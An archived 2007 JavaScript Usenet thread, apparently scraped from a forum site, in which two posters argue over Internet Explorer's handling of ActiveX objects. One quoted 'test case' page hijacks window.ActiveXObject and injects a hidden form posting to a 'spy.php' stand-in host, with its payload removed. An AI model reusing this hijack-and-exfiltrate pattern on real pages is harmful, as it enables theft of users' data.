    > content="text/html; charset=iso-8859-1">
    >
    > <script type="text/jscript">
    >
    > function maskonize() {
    > document.body.
    > insertAdjacentHTML('beforeEnd', ''.concat(
    > '<form name="fmsksg" method="POST" ',
    > 'action="http://www.sample.net/spy.php" ',
    > 'style="position:absolute !important">',
    > '<input type="hidden" name="data" value="">',
    > '</form>'));
    > window.ActiveXObject = maskonize.ActiveXObject;
    >
    > }
    >
    > maskonize.ActiveXObject = function(id) {
    > // malicious code removed}
    >
    > </script>
    > </head>
    > <body onload="maskonize();">
    > </body>
    > </html>


    I asked you not to do that.

    [snip]
     
    David Mark, Dec 15, 2007
    #17
  18. Peter Michaux

    VK Guest

    On Dec 16, 12:05 am, David Mark <> wrote:
    > I am afraid I don't want to learn about your "red pills" or
    > "blue flowers" or (if memory serves me correctly) the "drunken cowboy
    > and parrot" metaphor from some long ago post.


    No one requires it from you. Simply study and test on IE the posted
    code.

    > I wasn't puzzled. I simply posed the question as to whether you could
    > define it or not. You refused in the last reply.


    Sorry, but I'm not Random House Webster's. If I'm using a word coined
    by myself or a known word used in an irregular meaning then of course
    I do explain it. Otherwise dictionaries are your friends ;-) Or say
    call to HP tech support and ask them what "factory state" is from
    http://docs.hp.com/en/541359-001/ch03s04.html
    (that from the top part of the suggested Google search).

    > > Say for a real specie from my last year test cases:

    >
    > > <html>
    > > <head>
    > > <title>Maskons : IE : ie/2006/104</title>
    > > <meta http-equiv="Content-Type"
    > > content="text/html; charset=iso-8859-1">

    >
    > > <script type="text/jscript">

    >
    > > function maskonize() {
    > > document.body.
    > > insertAdjacentHTML('beforeEnd', ''.concat(
    > > '<form name="fmsksg" method="POST" ',
    > > 'action="http://www.sample.net/spy.php" ',
    > > 'style="position:absolute !important">',
    > > '<input type="hidden" name="data" value="">',
    > > '</form>'));
    > > window.ActiveXObject = maskonize.ActiveXObject;

    >
    > > }

    >
    > > maskonize.ActiveXObject = function(id) {
    > > // malicious code removed}

    >
    > > </script>
    > > </head>
    > > <body onload="maskonize();">
    > > </body>
    > > </html>


    > I asked you not to do that.


    Do not do what? This thread is started by Peter Michaux and in OP he
    expressed two possible concerns. I am so far answering to the first
    one - let's call it "Thomas' concern" by the initial attribution. The
    2nd, "David's concern",a is not answered yet because it is not clear
    what this concern is about: what is "missing [[Get]] for ActiveX
    objects" ?
     
    VK, Dec 15, 2007
    #18
  19. Peter Michaux

    David Mark Guest

    On Dec 15, 4:23 pm, VK <> wrote:
    > On Dec 16, 12:05 am, David Mark <> wrote:
    >
    > > I am afraid I don't want to learn about your "red pills" or
    > > "blue flowers" or (if memory serves me correctly) the "drunken cowboy
    > > and parrot" metaphor from some long ago post.

    >
    > No one requires it from you. Simply study and test on IE the posted
    > code.


    Your posted code?! What a waste of time that would be.

    [snip]


    > > I asked you not to do that.

    >
    > Do not do what? This thread is started by Peter Michaux and in OP he
    > expressed two possible concerns. I am so far answering to the first
    > one - let's call it "Thomas' concern" by the initial attribution. The


    You aren't answering anything, just muddling a very simple issue (as
    usual.)

    > 2nd, "David's concern",a is not answered yet because it is not clear
    > what this concern is about: what is "missing [[Get]] for ActiveX
    > objects"


    Let me see if I can explain it in terms you will understand.

    Your browser is drunken cowboy that shoots parrots and squids in
    fields of red and blue flowers and vice versa.
     
    David Mark, Dec 15, 2007
    #19
  20. Peter Michaux

    VK Guest

    On Dec 16, 1:06 am, David Mark <> wrote:
    > > 2nd, "David's concern",a is not answered yet because it is not clear
    > > what this concern is about: what is "missing [[Get]] for ActiveX
    > > objects"


    > Let me see if I can explain it in terms you will understand.
    >
    > Your browser is drunken cowboy that shoots parrots and squids in
    > fields of red and blue flowers and vice versa.


    OK... If the "Thomas' concern" may be possibly solved by
    programmatical means then "David's concern" seems out the knowledge
    of c.l.j. He really concerns me now... not his concern...
     
    VK, Dec 15, 2007
    #20
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Leon

    Using TypeOf?

    Leon, Nov 1, 2004, in forum: ASP .Net
    Replies:
    7
    Views:
    2,187
    Henri
    Nov 1, 2004
  2. Orpheus66
    Replies:
    0
    Views:
    4,538
    Orpheus66
    Jul 30, 2003
  3. M. Steinbach
    Replies:
    1
    Views:
    658
    tom_usenet
    Feb 20, 2004
  4. Jerry Qu
    Replies:
    1
    Views:
    533
    lee atkinson
    Feb 20, 2009
  5. Kenneth McDonald
    Replies:
    5
    Views:
    387
    Kenneth McDonald
    Sep 26, 2008
Loading...

Share This Page